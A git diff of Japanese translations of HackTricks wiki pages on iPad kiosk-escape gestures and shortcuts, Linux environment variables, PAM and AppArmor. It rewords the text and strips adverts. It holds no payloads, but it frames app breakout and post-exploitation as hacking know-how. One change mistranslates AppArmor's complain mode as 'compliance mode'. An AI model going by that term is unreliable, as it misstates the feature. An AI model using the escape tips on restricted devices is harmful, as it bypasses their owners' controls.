画面の右上隅から1本の指で下にスワイプ:iPad Proのコントロールセンターを表示します -* 画面の左から1-2インチの1本の指でスワイプ:今日のビューを表示します -* 画面の中央から右または左に素早く1本の指でスワイプ:次の/前のアプリに切り替える -* 上部右隅のOn/**Off**/Sleepボタンを押し続ける + スライドを右まで移動する:電源を切る -* 上部右隅のOn/**Off**/Sleepボタンを押し続ける + ホームボタンを数秒押し続ける:強制的に電源を切る -* 上部右隅のOn/**Off**/Sleepボタンを押し続ける + ホームボタンを素早く押す:画面左下にポップアップするスクリーンショットを撮影します。両方のボタンを同時に非常に短く押すと、数秒間押し続けるかのようにハードパワーオフが実行されます。 +* 四本(または五本)の指で上にスワイプ / ホームボタンをダブルタップ:マルチタスクビューを表示し、アプリを変更する +* 四本または五本の指で一方向にスワイプ:次の/前のアプリに切り替える +* 五本の指で画面をピンチ / ホームボタンをタッチ / 画面の下から1本の指で素早く上にスワイプ:ホームにアクセスする +* 画面の下から1本の指で1-2インチスワイプ(遅く):ドックが表示される +* 画面の上端から1本の指でスワイプダウン:通知を表示する +* 画面の右上隅から1本の指でスワイプダウン:iPad Proのコントロールセンターを表示する +* 画面の左から1本の指で1-2インチスワイプ:今日のビューを表示する +* 画面の中央から右または左に1本の指で素早くスワイプ:次の/前のアプリに切り替える +* 上部右隅の**iPad**の電源ボタン/**オフ**/スリープボタンを押し続け、**電源オフ**スライダーを右にスライドさせる:電源を切る +* 上部右隅の**iPad**の電源ボタン/**オフ**/スリープボタンとホームボタンを数秒間押す:強制的に電源を切る +* 上部右隅の**iPad**の電源ボタン/**オフ**/スリープボタンとホームボタンを素早く押す:スクリーンショットを撮影し、表示の左下にポップアップします。両方のボタンを同時に非常に短時間押すと、数秒間保持すると強制的に電源が切れます。 ### ショートカット -iPadキーボードまたはUSBキーボードアダプターを持っている必要があります。アプリケーションからの脱出に役立つショートカットのみがここに表示されます。 +iPadキーボードまたはUSBキーボードアダプタが必要です。アプリケーションから脱出するのに役立つショートカットのみがここに表示されます。 | キー | 名前 | | --- | ------------ | -| ⌘ | Command | -| ⌥ | Option (Alt) | -| ⇧ | Shift | -| ↩ | Return | -| ⇥ | Tab | -| ^ | Control | -| ← | Left Arrow | -| → | Right Arrow | -| ↑ | Up Arrow | -| ↓ | Down Arrow | +| ⌘ | コマンド | +| ⌥ | オプション(Alt) | +| ⇧ | シフト | +| ↩ | リターン | +| ⇥ | タブ | +| ^ | コントロール | +| ← | 左矢印 | +| → | 右矢印 | +| ↑ | 上矢印 | +| ↓ | 下矢印 | #### システムショートカット -これらのショートカットはiPadの視覚設定および音声設定に関連しています。 +これらのショートカットは、iPadの使用に応じた視覚設定と音設定のためのものです。 | ショートカット | アクション | | -------- | ------------------------------------------------------------------------------ | | F1 | 画面を暗くする | | F2 | 画面を明るくする | -| F7 | 前の曲に戻る | +| F7 | 一曲戻る | | F8 | 再生/一時停止 | -| F9 | 次の曲にスキップ | +| F9 | 曲をスキップ | | F10 | ミュート | | F11 | 音量を下げる | | F12 | 音量を上げる | -| ⌘ Space | 利用可能な言語のリストを表示します。選択するには、再度スペースバーをタップします。 | +| ⌘ Space | 利用可能な言語のリストを表示;選択するには、スペースバーを再度タップします。 | #### iPadナビゲーション @@ -245,53 +236,54 @@ iPadキーボードまたはUSBキーボードアダプターを持っている | ⌘H | ホームに移動 | | ⌘⇧H (Command-Shift-H) | ホームに移動 | | ⌘ (Space) | スポットライトを開く | -| ⌘⇥ (Command-Tab) | 最後に使用した10個のアプリをリスト表示 | +| ⌘⇥ (Command-Tab) | 最後に使用したアプリのリスト | | ⌘\~ | 最後のアプリに移動 | -| ⌘⇧3 (Command-Shift-3) | スクリーンショット(左下にホバーして保存または操作) | -| ⌘⇧4 | スクリーンショットを撮影してエディターで開く | -| ⌘を押して押し続ける | アプリ用の利用可能なショートカットのリスト | +| ⌘⇧3 (Command-Shift-3) | スクリーンショット(保存またはアクションを実行するために左下にホバー) | +| ⌘⇧4 | スクリーンショットを撮影し、エディタで開く | +| ⌘を押し続ける | アプリのための利用可能なショートカットのリスト | | ⌘⌥D (Command-Option/Alt-D) | ドックを表示 | | ^⌥H (Control-Option-H) | ホームボタン | | ^⌥H H (Control-Option-H-H) | マルチタスクバーを表示 | -| ^⌥I (Control-Option-i) | アイテム選択 | +| ^⌥I (Control-Option-i) | アイテム選択 | | Escape | 戻るボタン | | → (右矢印) | 次のアイテム | | ← (左矢印) | 前のアイテム | | ↑↓ (上矢印、下矢印) | 選択したアイテムを同時にタップ | -| ⌥ ↓ (Option-下矢印) | 下にスクロール | -| ⌥↑ (Option-上矢印) | 上にスクロール | -| ⌥←または⌥→ (Option-左矢印またはOption-右矢印) | 左または右にスクロール | -| ^⌥S (Control-Option-S) | VoiceOverスピーチのオン/オフ | +| ⌥ ↓ (Option-Down arrow) | 下にスクロール | +| ⌥↑ (Option-Up arrow) | 上にスクロール | +| ⌥←または⌥→ (Option-Left arrowまたはOption-Right arrow) | 左または右にスクロール | +| ^⌥S (Control-Option-S) | VoiceOverの音声をオンまたはオフにする | | ⌘⇧⇥ (Command-Shift-Tab) | 前のアプリに切り替える | | ⌘⇥ (Command-Tab) | 元のアプリに戻る | -| ←+→、次にOption + ←またはOption+→ | ドックを通じてナビゲート | -#### Safariのショートカット +| ←+→、次にOption + ←またはOption+→ | ドックをナビゲート | -| ショートカット | アクション | -| ----------------------- | ---------------------------------- | -| ⌘L (Command-L) | ロケーションを開く | -| ⌘T | 新しいタブを開く | -| ⌘W | 現在のタブを閉じる | -| ⌘R | 現在のタブを更新 | -| ⌘. | 現在のタブの読み込みを停止 | -| ^⇥ | 次のタブに切り替え | +#### Safariショートカット + +| ショートカット | アクション | +| ----------------------- | ------------------------------------------------ | +| ⌘L (Command-L) | ロケーションを開く | +| ⌘T | 新しいタブを開く | +| ⌘W | 現在のタブを閉じる | +| ⌘R | 現在のタブを更新 | +| ⌘. | 現在のタブの読み込みを停止 | +| ^⇥ | 次のタブに切り替える | | ^⇧⇥ (Control-Shift-Tab) | 前のタブに移動 | -| ⌘L | テキスト入力/URLフィールドを選択して変更 | -| ⌘⇧T (Command-Shift-T) | 最後に閉じたタブを開く(複数回使用可能) | -| ⌘\[ | ブラウジング履歴で1ページ戻る | -| ⌘] | ブラウジング履歴で1ページ進む | -| ⌘⇧R | リーダーモードをアクティブにする | +| ⌘L | テキスト入力/URLフィールドを選択して修正する | +| ⌘⇧T (Command-Shift-T) | 最後に閉じたタブを開く(何度でも使用可能) | +| ⌘\[ | ブラウジング履歴で1ページ戻る | +| ⌘] | ブラウジング履歴で1ページ進む | +| ⌘⇧R | リーダーモードを有効にする | -#### メールのショートカット +#### メールショートカット -| ショートカット | アクション | -| ----------------------- | ------------------------ | -| ⌘L | ロケーションを開く | -| ⌘T | 新しいタブを開く | -| ⌘W | 現在のタブを閉じる | -| ⌘R | 現在のタブを更新 | -| ⌘. | 現在のタブの読み込みを停止 | -| ⌘⌥F (Command-Option/Alt-F) | メールボックス内を検索 | +| ショートカット | アクション | +| -------------------------- | ---------------------------- | +| ⌘L | ロケーションを開く | +| ⌘T | 新しいタブを開く | +| ⌘W | 現在のタブを閉じる | +| ⌘R | 現在のタブを更新 | +| ⌘. | 現在のタブの読み込みを停止 | +| ⌘⌥F (Command-Option/Alt-F) | メールボックス内を検索 | ## 参考文献 @@ -300,29 +292,19 @@ iPadキーボードまたはUSBキーボードアダプターを持っている * [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/) * [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html) -#### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックするための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック! -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。 -* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
{% endhint %} diff --git a/linux-hardening/linux-environment-variables.md b/linux-hardening/linux-environment-variables.md index e2de10881..31f935bd6 100644 --- a/linux-hardening/linux-environment-variables.md +++ b/linux-hardening/linux-environment-variables.md @@ -1,4 +1,4 @@ -# Linux 環境変数 +# Linux Environment Variables {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## グローバル変数 グローバル変数は**子プロセス**によって**継承されます**。 @@ -64,17 +56,17 @@ From: [https://geek-university.com/linux/common-environment-variables/](https:// * **HISTSIZE** – ユーザーがセッションを終了したときに履歴ファイルに追加される行数。 * **HOME** – あなたのホームディレクトリ。 * **HOSTNAME** – コンピュータのホスト名。 -* **LANG** – あなたの現在の言語。 +* **LANG** – 現在の言語。 * **MAIL** – ユーザーのメールスプールの場所。通常は**/var/spool/mail/USER**。 * **MANPATH** – マニュアルページを検索するためのディレクトリのリスト。 * **OSTYPE** – オペレーティングシステムの種類。 * **PS1** – bashのデフォルトプロンプト。 -* **PATH** – バイナリファイルを実行するためにファイル名を指定するだけで済むすべてのディレクトリのパスを格納します。 +* **PATH** – バイナリファイルを実行するためのすべてのディレクトリのパスを格納します。ファイル名を指定するだけで、相対パスや絶対パスを使わずに実行できます。 * **PWD** – 現在の作業ディレクトリ。 * **SHELL** – 現在のコマンドシェルへのパス(例:**/bin/bash**)。 * **TERM** – 現在の端末タイプ(例:**xterm**)。 * **TZ** – あなたのタイムゾーン。 -* **USER** – あなたの現在のユーザー名。 +* **USER** – 現在のユーザー名。 ## Interesting variables for hacking @@ -126,15 +118,10 @@ export SSL_CERT_DIR=/path/to/ca-certificates ![](<../.gitbook/assets/image (715).png>) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、練習する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md index a85942614..f5a2826e3 100644 --- a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md +++ b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md @@ -15,30 +15,17 @@ Learn & practice GCP Hacking: {% endhint %} -#### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **盗難マルウェア** によって **侵害** されているかどうかを確認するための **無料** 機能を提供します。 - -WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックし、**無料** でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** ### 基本情報 -**PAM (Pluggable Authentication Modules)** は、**コンピュータサービスにアクセスしようとするユーザーの身元を確認する** セキュリティメカニズムとして機能し、さまざまな基準に基づいてアクセスを制御します。これはデジタルゲートキーパーのようなもので、認可されたユーザーのみが特定のサービスに関与できるようにし、システムの過負荷を防ぐために使用を制限することがあります。 +**PAM (Pluggable Authentication Modules)** は、**コンピュータサービスにアクセスしようとするユーザーの身元を確認するセキュリティメカニズム**として機能し、さまざまな基準に基づいてアクセスを制御します。これはデジタルゲートキーパーのようなもので、認可されたユーザーのみが特定のサービスに関与できるようにし、システムの過負荷を防ぐために使用を制限することがあります。 #### 設定ファイル -* **Solaris および UNIX ベースのシステム** は、通常 `/etc/pam.conf` にある中央設定ファイルを利用します。 -* **Linux システム** は、サービス固有の設定を `/etc/pam.d` に保存するディレクトリアプローチを好みます。たとえば、ログインサービスの設定ファイルは `/etc/pam.d/login` にあります。 +* **SolarisおよびUNIXベースのシステム**は、通常、`/etc/pam.conf`にある中央設定ファイルを利用します。 +* **Linuxシステム**は、ディレクトリアプローチを好み、サービス固有の設定を`/etc/pam.d`に保存します。たとえば、ログインサービスの設定ファイルは`/etc/pam.d/login`にあります。 -ログインサービスの PAM 設定の例は次のようになります: +ログインサービスのPAM設定の例は次のようになります: ``` auth required /lib/security/pam_securetty.so auth required /lib/security/pam_nologin.so @@ -53,7 +40,7 @@ session required /lib/security/pam_unix_session.so ``` #### **PAM管理領域** -これらの領域、または管理グループには、**auth**、**account**、**password**、および**session**が含まれ、それぞれが認証およびセッション管理プロセスの異なる側面を担当しています: +これらの領域、または管理グループには、**auth**、**account**、**password**、および**session**が含まれ、それぞれ認証およびセッション管理プロセスの異なる側面を担当しています: * **Auth**: ユーザーの身元を確認し、通常はパスワードの入力を促します。 * **Account**: アカウントの検証を処理し、グループメンバーシップや時間制限などの条件を確認します。 @@ -67,39 +54,28 @@ session required /lib/security/pam_unix_session.so * **Required**: 必須モジュールの失敗は最終的な失敗を引き起こしますが、すべての後続モジュールがチェックされた後にのみ発生します。 * **Requisite**: 失敗時にプロセスを即座に終了します。 * **Sufficient**: 成功は同じ領域の残りのチェックをバイパスしますが、後続のモジュールが失敗した場合は除きます。 -* **Optional**: スタック内で唯一のモジュールである場合にのみ失敗を引き起こします。 +* **Optional**: スタック内の唯一のモジュールである場合にのみ失敗を引き起こします。 #### 例のシナリオ -複数のauthモジュールを持つセットアップでは、プロセスは厳格な順序に従います。`pam_securetty`モジュールがログイン端末を不正と見なすと、rootログインはブロックされますが、その「必須」ステータスのためにすべてのモジュールは処理され続けます。`pam_env`は環境変数を設定し、ユーザーエクスペリエンスを向上させる可能性があります。`pam_ldap`と`pam_unix`モジュールは協力してユーザーを認証し、`pam_unix`は以前に提供されたパスワードを使用しようとし、認証方法の効率と柔軟性を高めます。 +複数のauthモジュールを持つセットアップでは、プロセスは厳格な順序に従います。`pam_securetty`モジュールがログイン端末を不正と見なすと、rootログインはブロックされますが、その「required」ステータスのためにすべてのモジュールは処理され続けます。`pam_env`は環境変数を設定し、ユーザーエクスペリエンスを向上させる可能性があります。`pam_ldap`と`pam_unix`モジュールは協力してユーザーを認証し、`pam_unix`は以前に提供されたパスワードを使用しようとし、認証方法の効率と柔軟性を高めます。 ### 参考文献 * [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434) -#### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**stealer malwares**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} -AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksをサポートする +Support HackTricks -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/linux-hardening/privilege-escalation/docker-security/apparmor.md b/linux-hardening/privilege-escalation/docker-security/apparmor.md index 430948db2..1e76e2192 100644 --- a/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -1,56 +1,42 @@ # AppArmor {% hint style="success" %} -AWSハッキングの学習と実践:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングの学習と実践: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksのサポート +Support HackTricks -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック! -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、ハッキングテクニックを共有してください。 +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 - -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** - ## 基本情報 -AppArmorは、**プログラムごとのプロファイルを介してプログラムが利用できるリソースを制限するように設計されたカーネルの拡張機能**であり、アクセス制御属性をユーザーではなくプログラムに直接結び付けることで、強制アクセス制御(MAC)を効果的に実装しています。このシステムは、**プロファイルをカーネルにロード**して動作し、これらのプロファイルは、ネットワーク接続、生のソケットアクセス、ファイルアクセス権限など、プログラムがアクセスできるリソースを指示します。 +AppArmorは、**プログラムごとのプロファイルを通じてプログラムに利用可能なリソースを制限するために設計されたカーネル拡張機能**です。これにより、アクセス制御属性がユーザーではなくプログラムに直接結び付けられることで、Mandatory Access Control (MAC)が効果的に実装されます。このシステムは、**プロファイルをカーネルにロードすることによって機能し**、通常はブート時に行われ、これらのプロファイルはプログラムがアクセスできるリソース(ネットワーク接続、生ソケットアクセス、ファイル権限など)を決定します。 -AppArmorプロファイルには、次の2つの動作モードがあります: +AppArmorプロファイルには2つの運用モードがあります: -* **強制モード**:このモードは、プロファイルで定義されたポリシーを積極的に強制し、これらのポリシーに違反するアクションをブロックし、syslogやauditdなどのシステムを介してこれらを侵害しようとする試みを記録します。 -* **クレームモード**:強制モードとは異なり、クレームモードでは、プロファイルのポリシーに違反するアクションをブロックしません。代わりに、これらの試みをポリシー違反として記録しますが、制限を強制しません。 +* **強制モード**:このモードは、プロファイル内で定義されたポリシーを積極的に強制し、これらのポリシーに違反するアクションをブロックし、syslogやauditdなどのシステムを通じて違反の試みをログに記録します。 +* **コンプライアンスモード**:強制モードとは異なり、コンプライアンスモードはプロファイルのポリシーに反するアクションをブロックしません。代わりに、これらの試みをポリシー違反としてログに記録しますが、制限は強制しません。 -### AppArmorの構成要素 +### AppArmorのコンポーネント * **カーネルモジュール**:ポリシーの強制を担当します。 -* **ポリシー**:プログラムの動作とリソースアクセスのルールと制限を指定します。 +* **ポリシー**:プログラムの動作とリソースアクセスに関するルールと制限を指定します。 * **パーサー**:ポリシーをカーネルにロードして強制または報告します。 -* **ユーティリティ**:これらは、AppArmorとのやり取りと管理のためのインターフェースを提供するユーザーモードプログラムです。 +* **ユーティリティ**:AppArmorとのインターフェースを提供し、管理するためのユーザーモードプログラムです。 ### プロファイルのパス AppArmorプロファイルは通常、_**/etc/apparmor.d/**_に保存されます。\ -`sudo aa-status`を使用すると、いくつかのプロファイルに制限がかけられているバイナリがリストされます。各リストされたバイナリのパスのスラッシュをドットに変更すると、言及されたフォルダ内のapparmorプロファイルの名前が取得できます。 +`sudo aa-status`を使用すると、いくつかのプロファイルによって制限されているバイナリをリストできます。リストされた各バイナリのパスの「/」をドットに変更すると、指定されたフォルダー内のAppArmorプロファイルの名前が得られます。 -たとえば、_**/usr/bin/man**_の**apparmor**プロファイルは、_**/etc/apparmor.d/usr.bin.man**_にあります。 +例えば、_**/usr/bin/man**_のための**AppArmor**プロファイルは、_**/etc/apparmor.d/usr.bin.man**_にあります。 ### コマンド ```bash @@ -64,34 +50,40 @@ aa-mergeprof #used to merge the policies ``` ## プロファイルの作成 -- 影響を受ける実行ファイルを示すために、**絶対パスとワイルドカード**が許可されています(ファイルグロブを使用するため)。 -- **ファイル**に対するバイナリのアクセスを示すために、以下の**アクセス制御**を使用できます: - - **r**(読み取り) - - **w**(書き込み) - - **m**(実行可能としてメモリマップ) - - **k**(ファイルロック) - - **l**(ハードリンクの作成) - - **ix**(新しいプログラムで別のプログラムを実行し、ポリシーを継承) - - **Px**(環境をクリーンアップした後、別のプロファイルで実行) - - **Cx**(環境をクリーンアップした後、子プロファイルで実行) - - **Ux**(環境をクリーンアップした後、無制限に実行) -- **変数**はプロファイルで定義でき、プロファイルの外部から操作できます。例:@{PROC} および @{HOME}(プロファイルファイルに #include \ を追加) -- **許可ルールを上書きするために拒否ルールがサポート**されています。 +* 影響を受ける実行可能ファイルを示すために、**絶対パスとワイルドカード**がファイルを指定するために許可されています。 +* バイナリが**ファイル**に対して持つアクセスを示すために、以下の**アクセス制御**を使用できます: +* **r** (読み取り) +* **w** (書き込み) +* **m** (実行可能なメモリマップ) +* **k** (ファイルロック) +* **l** (ハードリンクの作成) +* **ix** (新しいプログラムがポリシーを継承して別のプログラムを実行する) +* **Px** (環境をクリーンアップした後、別のプロファイルの下で実行) +* **Cx** (環境をクリーンアップした後、子プロファイルの下で実行) +* **Ux** (環境をクリーンアップした後、制限なしで実行) +* **変数**はプロファイル内で定義でき、プロファイルの外部から操作できます。例えば: @{PROC} と @{HOME} (プロファイルファイルに #include \ を追加) +* **許可ルールを上書きするための拒否ルールがサポートされています**。 ### aa-genprof -簡単にプロファイルの作成を開始するために、apparmor が役立ちます。**バイナリによって実行されるアクションを apparmor に検査させ、その後、許可または拒否するアクションを決定できます**。\ -次のコマンドを実行するだけです: +プロファイルの作成を簡単に始めるために、apparmorが役立ちます。**apparmorがバイナリによって実行されるアクションを検査し、許可または拒否したいアクションを決定できるようにすることが可能です**。\ +実行するだけで済みます: ```bash sudo aa-genprof /path/to/binary ``` -その後、別のコンソールで通常バイナリが実行するすべてのアクションを実行します: +その後、別のコンソールでバイナリが通常実行するすべてのアクションを実行します: ```bash /path/to/binary -a dosomething ``` +次に、最初のコンソールで "**s**" を押し、記録されたアクションで無視、許可、またはその他を選択します。終了したら "**f**" を押すと、新しいプロファイルが _/etc/apparmor.d/path.to.binary_ に作成されます。 + +{% hint style="info" %} +矢印キーを使用して、許可/拒否/その他を選択できます +{% endhint %} + ### aa-easyprof -また、バイナリのAppArmorプロファイルのテンプレートを作成することもできます。 +バイナリの apparmor プロファイルのテンプレートを作成することもできます: ```bash sudo aa-easyprof /path/to/binary # vim:syntax=apparmor @@ -117,16 +109,16 @@ sudo aa-easyprof /path/to/binary } ``` {% hint style="info" %} -デフォルトでは、作成したプロファイルでは何も許可されていないため、すべてが拒否されます。たとえば、バイナリが `/etc/passwd` を読むことを許可するために `/etc/passwd r,` のような行を追加する必要があります。 +デフォルトでは、作成されたプロファイルでは何も許可されていないため、すべてが拒否されます。例えば、バイナリが`/etc/passwd`を読み取ることを許可するには、`/etc/passwd r,`のような行を追加する必要があります。 {% endhint %} -新しいプロファイルを**強制**することができます。 +その後、**enforce**コマンドを使用して新しいプロファイルを適用できます。 ```bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` -### ログからプロファイルを変更する +### ログからのプロファイルの変更 -次のツールはログを読み取り、ユーザーに検出された禁止されたアクションのうち許可するかどうかを尋ねます: +次のツールはログを読み取り、ユーザーに検出された禁止されたアクションのいくつかを許可するかどうかを尋ねます: ```bash sudo aa-logprof ``` @@ -142,14 +134,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` -## ログ +## Logs -実行可能ファイル **`service_bin`** の _/var/log/audit/audit.log_ からの **AUDIT** と **DENIED** ログの例: +実行可能ファイル **`service_bin`** の _/var/log/audit/audit.log_ からの **AUDIT** および **DENIED** ログの例: ```bash type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 ``` -次の方法でもこの情報を取得できます: +この情報は次のコマンドを使用して取得することもできます: ```bash sudo aa-notify -s 1 -v Profile: /bin/service_bin @@ -167,9 +159,9 @@ Logfile: /var/log/audit/audit.log AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` -## Docker内のApparmor +## Apparmor in Docker -デフォルトでDockerのプロファイル**docker-profile**がロードされていることに注目してください: +dockerの**docker-profile**プロファイルがデフォルトで読み込まれることに注意してください: ```bash sudo aa-status apparmor module is loaded. @@ -185,85 +177,87 @@ apparmor module is loaded. /usr/lib/connman/scripts/dhclient-script docker-default ``` -デフォルトでは、**Apparmor docker-defaultプロファイル**は[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)から生成されます。 +デフォルトでは、**Apparmor docker-default プロファイル**は [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) から生成されます。 -**docker-defaultプロファイルの概要**: +**docker-default プロファイルの概要**: -- すべての**ネットワーキング**への**アクセス** -- **権限**は定義されていません(ただし、一部の権限は基本的なベースルールを含めることで取得されます、つまり#include \) -- 任意の**/proc**ファイルへの**書き込み**は**許可されていません** -- 他の/**proc**および/**sys**の**サブディレクトリ**/**ファイル**への読み取り/書き込み/ロック/リンク/実行アクセスは**拒否されます** -- **マウント**は**許可されていません** -- **Ptrace**は、**同じapparmorプロファイル**によって制限されたプロセスでのみ実行できます +* **ネットワーク**へのすべての**アクセス** +* **能力**は定義されていません(ただし、基本的なベースルールを含めることでいくつかの能力が得られます。つまり、#include \) +* **/proc**ファイルへの**書き込み**は**許可されていません** +* **/proc**および**/sys**の他の**サブディレクトリ**/**ファイル**への読み取り/書き込み/ロック/リンク/実行アクセスは**拒否**されます +* 